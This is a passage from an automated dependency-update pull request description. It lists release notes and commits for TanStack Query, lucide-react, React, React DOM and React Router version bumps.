href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/blob/main/packages/react-query/CHANGELOG.md\"\u003e@​tanstack/react-query's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/12117\"\u003e#12117\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e - Recompute \u003ccode\u003euseMutationState\u003c/code\u003e and \u003ccode\u003euseIsMutating\u003c/code\u003e results when their filters, selector, or query client change, without waiting for a mutation cache update.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/f608f933a36da30670082e90d0a56b2569290563\"\u003e\u003ccode\u003ef608f93\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11328\"\u003e#11328\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e - Allow queries with falsy errors to retry on mount when \u003ccode\u003ethrowOnError\u003c/code\u003e returns false.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1fee0443dbeb346b8401557ca286a66cdec7ad71\"\u003e\u003ccode\u003e1fee044\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/fce89ddf7a35b14252096ff64a1217efd81b415c\"\u003e\u003ccode\u003efce89dd\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/0f15bc925db5813be6a17527988ec7d7b3c8cfc0\"\u003e\u003ccode\u003e0f15bc9\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/a8ecc8d42f82c795fbe5771be5e41dee54bd7e34\"\u003e\u003ccode\u003ea8ecc8d\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/12128\"\u003e#12128\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e fix(react, preact): recompute mutation state snapshots (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/12117\"\u003e#12117\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/12199722dc3f7443b7bbb575611dce59cfd08534\"\u003e\u003ccode\u003e1219972\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/12062\"\u003e#12062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/1fee0443dbeb346b8401557ca286a66cdec7ad71\"\u003e\u003ccode\u003e1fee044\u003c/code\u003e\u003c/a\u003e fix(query-core): clear mutations before notifying subscribers (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11470\"\u003e#11470\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e fix(react-query): retry queries with falsy errors on mount (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11328\"\u003e#11328\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11\"\u003e#11\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/ee47993724e5b71e65d9f38ae416367d2dd18395\"\u003e\u003ccode\u003eee47993\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11998\"\u003e#11998\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/0f15bc925db5813be6a17527988ec7d7b3c8cfc0\"\u003e\u003ccode\u003e0f15bc9\u003c/code\u003e\u003c/a\u003e fix(query-core): preserve union narrowing in setQueryData updaters (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11935\"\u003e#11935\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/TanStack/query/commits/@tanstack/react-query@5.104.5/packages/react-query\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `lucide-react` from 1.57.0 to 1.60.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lucide-icons/lucide/releases\"\u003elucide-react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.60.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003etombstone\u003c/code\u003e icon by \u003ca href=\"https://github.com/ryck\"\u003e\u003ccode\u003e@​ryck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4929\"\u003elucide-icons/lucide#4929\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003esmartphone-user-round\u003c/code\u003e icon by \u003ca href=\"https://github.com/hitanshu-machhi\"\u003e\u003ccode\u003e@​hitanshu-machhi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4586\"\u003elucide-icons/lucide#4586\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ebacon\u003c/code\u003e icon by \u003ca href=\"https://github.com/devkamani9313-lab\"\u003e\u003ccode\u003e@​devkamani9313-lab\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4694\"\u003elucide-icons/lucide#4694\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(site): Fix build by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5033\"\u003elucide-icons/lucide#5033\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(docs): Update icon count comparison with Feather Icons by \u003ca href=\"https://github.com/noahweidig\"\u003e\u003ccode\u003e@​noahweidig\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5022\"\u003elucide-icons/lucide#5022\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003eletter-spacing\u003c/code\u003e icon by \u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3038\"\u003elucide-icons/lucide#3038\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump the vue-deps group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5027\"\u003elucide-icons/lucide#5027\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump react-native from 0.87.1 to 0.88.0 in the react-native-deps group by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5030\"\u003elucide-icons/lucide#5030\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003eline-height\u003c/code\u003e icon by \u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3039\"\u003elucide-icons/lucide#3039\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump the svelte-deps group across 1 directory with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5028\"\u003elucide-icons/lucide#5028\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump the react-deps group across 1 directory with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5026\"\u003elucide-icons/lucide#5026\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ebrain-off\u003c/code\u003e icon by \u003ca href=\"https://github.com/ej52\"\u003e\u003ccode\u003e@​ej52\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3535\"\u003elucide-icons/lucide#3535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003egraph-hub\u003c/code\u003e icon by \u003ca href=\"https://github.com/Carlito-la-banane\"\u003e\u003ccode\u003e@​Carlito-la-banane\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4974\"\u003elucide-icons/lucide#4974\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(svelte): export __iconData and __iconNode across per-icon modules (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4936\"\u003e#4936\u003c/a\u003e) by \u003ca href=\"https://github.com/ronitgupta138\"\u003e\u003ccode\u003e@​ronitgupta138\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4957\"\u003elucide-icons/lucide#4957\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/hitanshu-machhi\"\u003e\u003ccode\u003e@​hitanshu-machhi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4586\"\u003elucide-icons/lucide#4586\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/devkamani9313-lab\"\u003e\u003ccode\u003e@​devkamani9313-lab\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4694\"\u003elucide-icons/lucide#4694\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/noahweidig\"\u003e\u003ccode\u003e@​noahweidig\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5022\"\u003elucide-icons/lucide#5022\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3038\"\u003elucide-icons/lucide#3038\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ej52\"\u003e\u003ccode\u003e@​ej52\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3535\"\u003elucide-icons/lucide#3535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Carlito-la-banane\"\u003e\u003ccode\u003e@​Carlito-la-banane\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4974\"\u003elucide-icons/lucide#4974\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ronitgupta138\"\u003e\u003ccode\u003e@​ronitgupta138\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4957\"\u003elucide-icons/lucide#4957\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.59.0...1.60.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.59.0...1.60.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.59.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(docs): Adds search field to docs pages by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5012\"\u003elucide-icons/lucide#5012\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003echess-queen\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4613\"\u003elucide-icons/lucide#4613\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.58.0...1.59.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.58.0...1.59.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.58.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(docs): add third-party package lucide-jte by \u003ca href=\"https://github.com/sgruendel\"\u003e\u003ccode\u003e@​sgruendel\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5000\"\u003elucide-icons/lucide#5000\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(integration-tests): Add Svelte integration tests for \u003ccode\u003e@ucide/svelte\u003c/code\u003e by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5005\"\u003elucide-icons/lucide#5005\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump the angular-deps group across 1 directory with 10 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5004\"\u003elucide-icons/lucide#5004\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(site): Fix homepage animation by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5015\"\u003elucide-icons/lucide#5015\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(ci): auto-generate PR titles from added file paths by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/Copilot\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4790\"\u003elucide-icons/lucide#4790\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003ebarrel\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4639\"\u003elucide-icons/lucide#4639\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(dev): fix \u0026quot;Generate PR Title\u0026quot; job by using REST API for changed files by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/Copilot\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5017\"\u003elucide-icons/lucide#5017\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ecertificate\u003c/code\u003e icon by \u003ca href=\"https://github.com/rrod497\"\u003e\u003ccode\u003e@​rrod497\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4327\"\u003elucide-icons/lucide#4327\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): update music icons by \u003ca href=\"https://github.com/jamiemlaw\"\u003e\u003ccode\u003e@​jamiemlaw\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4072\"\u003elucide-icons/lucide#4072\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sgruendel\"\u003e\u003ccode\u003e@​sgruendel\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5000\"\u003elucide-icons/lucide#5000\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/fa238cf2787d64393b74121631b518cee0c909c2\"\u003e\u003ccode\u003efa238cf\u003c/code\u003e\u003c/a\u003e chore(deps): bump the react-deps group across 1 directory with 2 updates (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/5026\"\u003e#5026\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/lucide-icons/lucide/commits/1.60.0/packages/lucide-react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-dom` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact-dom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react-dom/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react-dom\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-router` from 8.4.0 to 8.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/remix-run/react-router/releases\"\u003ereact-router's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.5.0\u003c/h2\u003e\n\u003cp\u003eSee the changelog for release notes: \u003ca href=\"https://github.com/remix-run/react-router/blob/main/CHANGELOG.md#v850\"\u003ehttps://github.com/remix-run/react-router/blob/main/CHANGELOG.md#v850\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/remix-run/react-router/blob/main/packages/react-router/CHANGELOG.md\"\u003ereact-router's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.5.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate React Router's view transition APIs in favor of React's \u003ccode\u003e\u0026lt;ViewTransition\u0026gt;\u003c/code\u003e component, available in React 19.3 and later (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15493\"\u003e#15493\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eDeprecate the \u003ccode\u003eviewTransition\u003c/code\u003e props/options, \u003ccode\u003euseViewTransitionState\u003c/code\u003e, and \u003ccode\u003eNavLink\u003c/code\u003e's \u003ccode\u003eisTransitioning\u003c/code\u003e render prop and \u003ccode\u003etransitioning\u003c/code\u003e class\u003c/li\u003e\n\u003cli\u003ePreserve existing behavior, including support for older React versions\u003c/li\u003e\n\u003cli\u003eSee the \u003ca href=\"https://reactrouter.com/how-to/view-transitions\"\u003emigration guide\u003c/a\u003e for a navigation example and compatibility considerations\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003e\u0026lt;Await\u0026gt;\u003c/code\u003e failing to server render promises decoded from an RSC payload, which caused the Suspense boundary to switch to client rendering (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15597\"\u003e#15597\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDeclare \u003ccode\u003e@types/react\u003c/code\u003e and \u003ccode\u003e@types/react-dom\u003c/code\u003e as optional peer dependencies so the shipped type definitions resolve React types under strict (non-hoisted) node_modules layouts (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15528\"\u003e#15528\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix the \u003ccode\u003eunstable_useRouterState\u003c/code\u003e documentation example to call the imported alias (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15535\"\u003e#15535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRender the \u003ccode\u003eHydrateFallback\u003c/code\u003e of a route discovered through \u003ccode\u003epatchRoutesOnNavigation\u003c/code\u003e during initial hydration (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15537\"\u003e#15537\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eRoutes discovered during initial hydration are now exposed in 